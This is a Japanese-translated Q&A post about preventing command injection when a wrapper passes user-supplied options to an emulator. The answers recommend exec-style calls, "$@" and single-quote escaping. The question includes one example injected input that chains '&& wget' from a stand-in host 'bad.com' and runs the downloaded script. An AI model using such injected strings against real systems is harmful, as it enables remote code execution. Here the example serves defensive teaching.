コマンドオプションによるコマンド注入を防ぐ方法は?

コマンドオプションによるコマンド注入を防ぐ方法は?

ユーザーがエミュレータに渡すカスタムオプションを指定できるようにするラッパーアプリケーションがあります。しかし、ユーザーがユーザーオプションを介して追加のコマンドを注入しないようにしたいと思います。これを達成するための最良の方法は何ですか?

例えば。

  • ユーザー提供:-a -b
  • アプリケーションの実行:mysim --preset_opt -a -b

しかし、私はこのようなことが起こりたくありません:

  • ユーザー提供:&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh
  • アプリケーションの実行:mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh

'現在、各ユーザー提供のオプションを一重引用符で囲み、ユーザー提供の単一引用符を削除すると、最後の例のコマンドが無害になる可能性があります。

mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'

注:このmysimコマンドは、docker / lxcコンテナ内のシェルスクリプトの一部として実行されます。私はUbuntuを実行しています。

ベストアンサー1

ラッパーを制御できる場合は、サブシェルを呼び出さないことを確認してください。深いところで、プログラム実行指示実行可能ファイルのフルパス(現在のディレクトリへの絶対パスまたは相対パス)と、引数として渡された文字列のリストが含まれています。パスルックアップ、スペースで区切られた引数、引用符、および制御演算子はすべてシェルによって提供されます。皮もなく痛みもありません。

たとえば、Perlラッパーの場合execやリスト形式を使用しますsystem。多くの言語では、または何でも使用するのではなく、execone execXXX(または何でも)を呼び出すか機能します。unix.execsystemos.spawnshell=False

ラッパーがシェルスクリプトの場合、引数を"$@"渡すために使用されます。

#!/bin/sh
mysim -preset-opt "$@"

選択肢がなく、ラッパーがシェルを呼び出す場合は、引数をシェルに渡す前に引数を引用する必要があります。パラメータを参照する簡単な方法は、次のことです。

  1. 各引数で'(二重引用符)をそれぞれ4桁の文字列に置き換えます'\''。 (例えばdon'tになるdon'\''t
  2. '各パラメータの先頭と各パラメータの終わりに追加します。 (例:don'tからdon'\''tまで'don'\''t'
  3. 間にスペースを使用して結果を連結します。

シェルラッパーでこれを行う必要がある場合は、次の方法を使用できます。

arguments='-preset-opt'
for x; do
  arguments="$arguments '"
  while case $x in
    *\'*) arguments="$arguments${x%%\'*}'\\''"; x=${x#*\'};;
    *) false;; esac
  do :; done
  arguments="$arguments$x'"
done

(残念ながら、bash${VAR//PATTERN/REPLACEMENT}設定はここで便利ですが、奇妙な引用が必要であり、代替テキストでは取得できないようです'\''。)

おすすめ記事